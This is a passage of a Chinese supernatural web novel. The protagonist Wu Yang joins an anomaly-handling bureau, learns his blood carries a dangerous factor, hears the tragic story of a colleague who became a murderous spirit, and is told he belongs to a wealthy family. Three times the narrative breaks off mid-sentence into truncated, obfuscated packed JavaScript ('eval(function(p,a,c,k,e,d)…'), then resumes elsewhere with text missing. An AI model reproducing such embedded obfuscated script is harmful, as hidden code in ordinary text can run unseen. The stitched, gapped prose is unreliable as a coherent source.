你只用配合我们做个心理测试和身体检查就行,日后有工作安排,我自会通知你。” 吴恙点头,很快有个组员带他去做入职体检。 先是有个穿白大褂的科研人员过来抽了他两管血,再给他做了一遍全身CT,后面则是一名心理医生,让他做一份心理健康问卷。 吴恙很配合,一点都没表现出抗拒。 心理医生姓陈,是个长相温和慈祥的老头,他很耐心,天生就有种亲和力,像是跟朋友聊天似的: “不用抗拒去表达你的内心,这个社会上,每个人都或多或少有些心理上的疾病。 你就随心去答,我会尊重每一个人的隐私,哪怕周局长,也不会看到你的测试结果。” 吴恙倒无所谓,但对方这样说,他心里也觉得舒服,便拿起笔开始作答。 这个测试有很多问题,都是选择题,答着并不麻烦,跟mbti测试很像,又有一些专业的心理问题。 吴恙答完后就花了一个小时,随后又跟心理专家聊了一会,主要就聊一些过往啊,或者有什么意难平。 吴恙看着很无所谓,哪怕心理专家主动提及他曾经在孤儿院有没有遇到不好的事时,他的神色依旧淡然,无悲无伤无怨。 “都是小事,已经过去了,而且经历那些,我也成长了不少。” 聊及儿时梦想时,吴恙缓缓抬眼,一双眸子映着碎光,他像是想到有趣的东西,唇角都弯了起来。 “陈医生,可能我这些话会有点中二,”顿了下,他又道:“小时候有人告诉我,我是这个世界的主角。” “所以,从那以后我的梦想就是拯救世界,后来发现世界太大,我一个人拯救不过来。” “于是我想变强,尽我所能地解决眼前看到的苦难,成为我小时候期盼的会突然帅气登场的大英雄。” 青年说起这些时,终于有了平时绝不会表露的神色,他眸光柔和,带着几分难得的不好意思,浑身的锐利锋芒也淡去了些。 陈医生一时沉默,半晌目光温和地看向他,眼里满是宽慰:“你是个很好的孩子,未来你或许会成为所有人的大英雄,但现在,你已经是自己的英雄了。” 他之前以为吴恙会被童年阴影折磨,但却不想,面前的青年早已自洽,他拯救了自己,克服了磨难,成为一个内心绝对强大的人。 他靠着自己,小树苗般在狂风骤雨中顽强扎根,生长,当他人触及他内心深处时,便会看见那一颗挺拔的大树,屹立参天。 而那些伤疤早已化作年轮,成为他蜕变成长的见证。 陈医生感动极了,很替吴恙高兴。 他欣慰道:“欢迎你加入诡异处理局,未来的大英雄。” 要是平常人听到这话早就感到羞耻了,但吴恙没有,反而笑了,扬着眉梢欣然承应,他骨子里的张扬自信暴露无余,真是帅得不像话。 陈医生不由感慨:“真好的小伙,跟我年轻时一样帅。” 吴恙乐了:“老爷子过奖了,您年轻时肯定比我帅。” 陈医生更加喜欢起面前的青年了,连连拍了几次对方的肩膀,笑得眉开眼笑。 “你这小伙,真招人喜欢。” 等吴恙离开后,陈医生开始看吴恙答过的问卷。 汇总结果来看,吴恙的心理完全没有问题,甚至非常阳光健康。 只是,看到某一个答案时,陈医生目光一顿,面色疑惑起来。 “这……” 另一边,周晨安也得到了吴恙的身体检查结果,很健康,只不过看到血液检测那里时,她的目光变得凝重起来。 等吴恙过来后,周晨安已经平复好内心的惊涛骇浪,将一套工作服还有证件交给对方。 “我们组织对外是安保公司,这是你的制服,还有名牌胸章,那后面有卫星定位,如果你遇到危险可以按三下上面的按钮,局里收到求救后会采用最高权限尽快救援。” 吴恙看着那跟其他安保公司无异的黑色保安制服,迟疑了下。 “所以,我们现在对外身份,是个保安?” 周晨安知道年轻人可能在意这些,尤其是有着拯救世界梦想的年轻人。 她安慰道:“你要是在意的话,可以不用穿,这只是一个对外的身份。” “而且你不用坐班,只要记得随身携带胸章就行,这是特殊材料打造,没人可以仿冒。 当你需要其他组织的帮助时,这个胸章可以证明你的身份。” 内部人都知道,正道安保公司是国家级别的组织,权限可以调遣一支小型武装力量。 吴恙把玩着手上的黑色胸章,后面已经刻印上他的名字,‘吴恙’。 他还真没想过自己有一天会进编制,大概比进诡异游戏还要离奇。 青年眸色平静专注,缓缓弯起唇:“没有在意,保安就挺好的,我们不就是要做人类的保安。” 周晨安欣赏地看了对方一眼。 想了想,她还是将吴恙的身体检测报告拿出,“你的身体很健康,一点疾病也没。” “不过,我要跟你讲个很重要的事。” 吴恙见对方神色严肃,也跟着坐姿端正起来:“你说。” “你应该知道,诡异是由人类转变的。” 之前在茶室时,吴恙就讲了自己经历的两次诡异游戏,从叶婷开始,他就知道,诡异曾经是人类,似乎有了强大的执念,才拥有特殊的力量,创造出离奇的诡异游戏。 他将自己的经历,还有现在拥有的诡异技能都讲了一遍,除了那个莫名“复活”的小男孩。 那太匪夷所思了,他至今还没弄清楚。 他也并不是完全信任这个组织,所以将其存在隐瞒了过去。 周晨安继续道:“我们组织里曾经出现过诡异,所以专门研究过诡异的身体,之后就发现了人类血液有种特别的因子。 那种因子含量越高,人就越可能变成诡异,也会越强大。” 吴恙眉心跳了下,似是预感到接下来并非是好消息,果不其然,面前的女人脸色已经沉重起来。 “你的血液里,因子含量极高。” 吴恙倒没惊慌,只是微微蹙眉思索了会,语调随意地反问:“那你们会抓我切片研究吗?” 周晨安气笑:“怎么可能!” 吴恙点了点头:“那就行。” 周晨安愣了下:“你不害怕吗?” 其实得知这个结论后,他们每个人都做了血液检测,每个人或多或少都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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邱天的父母是朴实的农民,不懂现代科技,在邱天有次出任务时,被人骗了,莫名背负了十几万的网贷。 两个普通穷苦的农民一辈子能挣到几个钱,哪承受得了这打击,他们四处借钱,但镇里的人哪有钱借他们,以往热情的邻里瞬间变得陌生,看到瘟神似的见到他们就关门驱赶。 他们走投无路,怕连累儿子还债,就一人一瓶农药自杀了。 邱天接到电话通知后,才知道父母没了,他疯了般赶回老家,见到却是父母已经腐烂的尸体,还有那两老口的遗书。 老两口没怎么读过书,写的字歪歪扭扭,有些还用的拼音,满封遗书全是对儿子的愧疚,觉得自己无用,害了他们家背负那么多欠款。 他们只希望死了后,债就消了。 邱天直愣愣跪下,绝望哀嚎,他发泄地一遍遍磕头,直到头破血流,依然没停下。 他觉得是自己没用,是自己不在家才让父母被骗,才害的他们选择了自杀。 区区十几万,竟彻底压垮了他的父母,毁了他的家,才十几万啊!!! 他恨那个骗他父母网贷的人,他想杀了那该死的骗子。 一直与他同行的唐烽以及其他队友们,正想上前安慰,却看见邱天整个人被黑影包裹,再转眼时,对方变成双眼漆黑的恶鬼,猩红的杀欲在周身翻腾。 邱天活生生的人,竟变成了诡异。 邱天的欲望是杀了害他父母的人,他变成的诡异很强,游戏覆盖范围很广,几乎整个镇子的人都逃不了,而他们的通关条件就是找到那骗子。 只要让他杀了骗子,所有人就能活下去。 若是找不到骗子,他每天会随机杀死十个人,直到杀光所有人。 于是,在死了几十个人后,整个镇子总算害怕了,开始积极地寻找那个骗老两口网贷的人。 最后找到了镇里的一个年轻人,那还是邱天的发小,以前专门给人搞网贷的,后来盯上了村里的老人,很多老人都是被骗着借了一点,哪怕征信受了影响也不会被人知道。 但那人突然想赚比大的,于是以邱天发小的名义,取得老两口的信任,然后骗他们借了巨额网贷。 十几万,他给自己换了辆新车。 却将邱天的父母推至深渊。 邱天用极其残忍的手段杀了对方,游戏终于通关。 因为唐烽押送那人交给邱天,所以成了主要通关玩家,以至于留存记忆,也获得了诡异技能【寻匿】。 而那小镇的所有人,忘记了这场恐怖的游戏,回忆起邱天时,只是沉重叹息: “那是个可怜娃唉。” 听完这个故事后,吴恙沉默了许久。 “那邱天后来呢,他是活人变成诡异,游戏通关后,他应该没有消散吧?” 周晨安愣了一瞬,她盯着青年平静沉思的脸,半晌才道:“我以为你会露出点同情。” 吴恙抬眸,奇怪道:“为什么同情?” “他已经杀了害他父母的人,完成了自己的欲望,如果我在的话,我会夸他干得不错,起码他没有让仇人逍遥法外。” 周晨安难得无言以对。 似是有点道理,又觉得哪里很奇怪。 她还记得赖小萌知道这事时,又哭又骂,哭邱天的悲惨,骂骗子的卑鄙无耻。 就算心再冷硬的人,也会忍不住红了眼眶,为邱天难过。 吴恙的思路还真是,与众不同。 16.第 16 章 吴恙对苦难并不敏感,他自己曾经的遭遇都被他当作历练,成为他变强的阶梯。 苦难对他来说根本不算事。 所以看待邱天的事,他会更理性些。 只能说是命运捉弄,如果邱天没有出任务,如果老两口再等一等儿子,又或者得到某一人的帮助,那么事情也不会走向极端。 可惜没有如果。 而且,那些被遗忘的死在游戏里的人,哪个又不算是可怜人呢。 吴恙对待已经发生的苦难并不会感到哀伤,发生过的事,再如何也改变不了既定的事实。 他只会向前看。 若真的想改变悲惨,那就想办法变得强大,不再制造遗憾,或许,足够强的话还能改变过去。 毕竟现在都有诡异了,还有什么事做不到呢。 吴恙想起了本该死在过去但因为诡异游戏而改变命运的小男孩。 那不就是活生生的例子吗。 周晨安沉默了一会,便继续讲邱天的后续。 游戏通关,变成诡异的邱天实现了欲望后,确实没有消散。 他重新变回了人类。 “人类?” 吴恙难得这么惊讶,他没想到人类和诡异竟然是可逆的。 周晨安深吸一口气,面色很沉重,她并未表现出一点为组员恢复成人类而感到的开心。 “说是人类,是因为身体机能与人类无异,但是,他血液里的因子含量已经超过人类的范畴。 我们估算,人类变成诡异的阈值是1,你现在是目前检测最高的0.79,而他,已经达到6.9了。” 邱天体内的因子虽然高,但他在事后恢复了理智,所以他们认为邱天变回了人类。 只不过邱天并不记得游戏里的一切。 他知道自己杀了害死他父母的人,又哭又笑,同时,他也知道自己杀了几十个人。 他很惶恐,也很愧疚。 对于邱天这样特殊的存在,组织里肯定是要研究一番的,很长一段时间邱天都被关在研究所里。 听到这,吴恙眉头微蹙。 周晨安看到他表情立马就猜到他在想什么,面无表情地解释:“没切片研究,只是每日抽点血,虽然没自由,但并没有限制他使用电子产品,每天吃好喝好的,还是有人权的。” 吴恙耸了耸肩:“不好意思,被小说荼毒了。” 邱天待了一个月,组织也因此发现了人类血液里与诡异相关的因子,也确定了一个阈值,同时,根据其他样本,他们确定,欲望才是人类变成诡异的关键。 而血液里因子的含量越高,越有可能变成诡异,也越强大。 吴恙好奇:“我想知道你们怎么找的样本?邱天这样的应该很难再出现一个吧?” 周晨安点头:“确实,邱天是唯一一个活人变成诡异的样本,但我们猜测濒死之人变成诡异的可能性会更大些。 于是我们划了一整片区域,采集所有人的血液样本,观测那些非意外或者意外死亡的对象,发现有没有可能变成诡异,同时也试图探索诡异游戏。 虽然机率很低,但也确实找到几个诡异,可惜进入这种类型的诡异一旦游戏通关就会消散,我们只能观察他们生前的血液样本。” 目前的样本来看,变成诡异的大多生前血液里因子含量较高些。 而且,他们也根据诡异游戏爆出的诡器等级来判定诡异的强度。 计算机模拟出了8种等级,从SS级依次减弱,S,A,B,C,D,E,F级,目前,他们见到的最强的诡器也只有B级。 吴恙对这个等级划分有些不明白。 周晨安叹了口气:“诡异的出现太少了,也就近一年才开始变多,这些等级只是大概的判定。” “我们预测,随着诡异越来越多,诡异等级判定也会越来越清晰,而那些强大等级的诡异也会逐渐出现。” 低等级的诡异只是简单的逃杀游戏,而有些诡异的能力很特别,游戏也复杂许多。 他们模拟出,若是真的有SS级的诡异出现,那一定是毁灭一座城的存在。 一下子知道这么多消息,吴恙难得沉默,消化了好半天。 再说回邱天。 吴恙总算知道了唐烽为什么会主动请辞。 原来当初邱天被研究了一个月,实在没什么新的进展,唐烽作为队长,便要求还邱天自由。 他认为邱天已经变回人类,并且没了之前的记忆,所以自愿做担保,让邱天归队。 周晨安将邱天当作兄弟,便也为他们说话,于是邱天成功离开研究所。 虽然邱天一直戴着检测仪器,随时被观察着,但这样也比关在研究所来的自由。 然而,谁都没想到的是,组织里出了内鬼。 有人想让邱天再变成诡异,于是拿对方的父母刺激他,而邱天,竟真的轻易就变成了杀人的恶鬼。 他这次的欲望不再是找到害他父母的凶手,而是纯粹的杀戮。 为了杀掉变成诡异的邱天,诡异处理局损失惨重,二十人的精英探索小队,除了唐烽,全员都死在了邱天手下。 最后,是唐烽用了【寻匿】,杀了邱天,再一次通关游戏。 可惜,这次的游戏并无通关奖励,给的只是彻底的绝望和痛苦。 那之后,唐烽主动辞去职务,离开了诡异处理局。 他找到一些曾经退役的战友,组成雇佣兵,偶尔接一些任务,其余时间就是探索诡异游戏,杀掉诡异。 吴恙了解后,并未因此减少对唐烽的抵触。 在他看来,每个人的结果都是自己选择的,不需要他人去感慨或者同情。 他跟唐烽倒也不算矛盾,只能说是各司其位,互无干系。 等他变得更强时,再见到对方他一定会将唐烽撂倒在地,以报当初对方以多欺少的仇。 吴恙还了解到组织里每个人的诡异技能,当然,他的技能也要上报。 吴恙将还剩两次的【读档】,以及永久性【明灯的指引】上报。 得知吴恙的诡异技能后,周晨安很震惊。 “你这技能,确实很厉害。” 不仅可以将时间倒流五分钟的【读档】,就连【明灯的指引】,也强得没边。 吴恙对【明灯的指引】解释比较笼统,他目前就知道可以在任何灯具上放置“锚点”,当灯具打开,光就是媒介,一个小型的空间会召唤吴恙,而吴恙只用动一下心念,便能立刻传送到灯具所在的位置。 周晨安心跳得很快,瞳孔都不由睁大:“你这个技能运用得当,能做到的事就太多了。” 吴恙勾起唇,黑眸像是藏着无尽星辰,熠熠生辉,而他漫不经心的语调中,毫不掩饰自己掌控全局的那股子狂劲: “确实,我有打算再制造几个锚点分给别人,如果有人带着我的锚点进入诡异游戏,或许我也能进去。” 现在进入诡异游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周晨安的【预言】需要借助纸笔,条件也蛮苛刻。 她每天可以预言一次,只能在纸上画出一些片面的未来。画的总是很抽象,很多预言都难以理解。 一般简单的预言冷却期只用一天,会稍微具体一些,而关系生死或者很多人未来命运的预言,会抽向又片面,冷却期还很长。 她只能通过冷却期时间判定自己的预言作用大不大。 命运也喜欢捉弄人,邱天出事前,她的预言正处于冷却期。 那后来,她一直都在后悔,要是她把预言留给邱天他们,会不会精英小队十九人都不会死。 可惜,就连她自己也不知道自己随便一个预言,会有多久的冷却期,又对未来有多大的作用。 所以她冷却期一到,她也会尽快用掉。 刚好,与吴恙见面,她的【预言】可以使用。 半晌过后。 吴恙看着纸上大大的“∞”沉默了。 “这是什么意思?无穷大?” 周晨安抿着唇:“嗯……我的预言一向很抽象……” 她查看自己的冷却时间,表情一顿。 “十天……” 吴恙抬眸,目光已然凌厉起来:“十天意思是——” “这个预言对你的未来有很大影响。” 17.第 17 章 吴恙离开后,周晨安看着那血液检测报告,拿出打火机便将其点燃。 火苗舔舐着纸张,发出细微的噼啪声,橘红的火光照在女人漆黑的眸中,却无法照透其中深不见底的暗沉复杂。 局里的内鬼还未找到,吴恙的特殊还不能让其他任何人知道。 这时,陈医生端着个保温杯走了过来。 周晨安问:“他心理状况如何?” 陈医生抿了口热水,感慨道:“挺好的,这小吴同志人长得帅,性子也好,怪招人喜欢的。” 周晨安松了口气,没再继续深聊,毕竟是吴恙的隐私。 她点头:“那挺好的。” 陈医生再次喝了口热水,氤氲的雾气升腾,朦胧了他眼里的沉思。 他一开始也觉得吴恙正常,但后来发现,对方的答案过于完美,思想品德端正的仿佛要入党。 而普通人多少都会有些阴暗面,可吴恙没有。 简直是正得发邪。 他猜测吴恙可能是刻意表现,隐藏了内心真实的答案。 要是这样就不好办了,不过怎么看,吴恙也不像会走歪路的人,或许这都是对方的保护色。 所以他不会过多干预,慢慢引导就行。 陈医生想起什么,问周晨安:“他的血液检测出来了吗,怎么样?” 周晨安语气平静:“因子含量在正常范围,没有危险。” “那就好,我们总算有个新同事了。” 陈医生笑呵呵的,见赖小萌过来,招了招手。 “小萌啊,局里的新同事你见到没,那么帅一个小伙,你不一直单身的吗,可要抓紧把握啊。” 赖小萌尴尬笑了笑,不知道怎么,她并没告诉面前两人她突然被动性用了【感知】,还看到吴恙的灵魂深处。 那无法言喻的奇怪感觉,令她不知道怎么去说,便不打算多此一举。 三个人各怀心思,聊了几句后,就下班离开了。 吴恙离开诡异处理局后就打算找了个酒店休息,他在这座城市没固定的资产,对吃住向来无所谓。 以往大都是有钱住酒店,没钱住桥洞。 现在手里还有几百万能花,自然要享受一下了。 不过他也懒得走太远,附近刚好有个谢氏旗下的酒店,算是金海市规格比较高的。 吴恙办理好入住,便舒舒服服洗了个澡。 刚洗完,门铃骤然被按响。 吴恙想起自己叫了客房服务,便随意裹上浴衣,头发湿哒哒地过去开门。 然而,并非客房服务。 门外站着个男人,容貌出众,气质清冷,对方穿着件黑色高定西装,姿态矜贵,尽管看着低调,但手腕不经意露出的腕表,就彰显了他的身份不俗。 派头很足,吴恙一下子想到了容叙那帮人。 他随意倚在门沿上,眉梢微挑:“你是?” 谢观言很难不注意吴恙此时的着装。 对方就那么松松垮垮裹着件浴衣,腰带随意系着,领口大敞,浑不在意地展露自己的部分身躯。 他的湿发还滴落着水珠,顺着脖颈蜿蜒而下,一路滑过锁骨,胸肌,腹肌,人鱼线……再没入腰间的浴巾里。 谢观言哪见过这样不拘于礼的人,好像浑身都写满了放浪形骸,尤其是顶着那张帅得没话说的脸,噙着股懒散的笑,一点也不害臊,就直勾勾盯着你。 明明没一点勾引人的意思,却比勾引更甚。 哪怕谢观言冷心冷情,都有些招架不住。 他不动声色地移开目光,声调冷淡又疏离:“我是谢观言,谢氏集团的现任CEO,突然找上门,并非有意打扰,而是你的身世跟谢家有关,我需要跟你当面谈谈。” 吴恙抬眸,倒有些意外。 谢观言轻咳一声:“在这不便多说,可以进去详谈吗?” 男人颔首,侧过身,便让对方进来。 谢观言在见到吴恙后,心跳就莫名快了几分,总有些不同于往日的不淡然。 他归咎于吴恙这个人有点邪气,当对方还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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吴恙没理他,将衬衫衣领扣好,他身上的黑色保安服材质很好,档次不比那高定西装差多少,而且他肩宽腰窄的,很撑得住这身制服,让他整个人看着利落又帅气。 像是个西装暴徒。 谢观言目光在对方身上停滞了几秒,缓缓垂下眼,神态又恢复成之前的冷漠疏离。 他拿出一份文件,交给吴恙。 “这是亲子鉴定,谢锦皓先生是你的亲叔祖父,你是谢家流落在外的子孙。”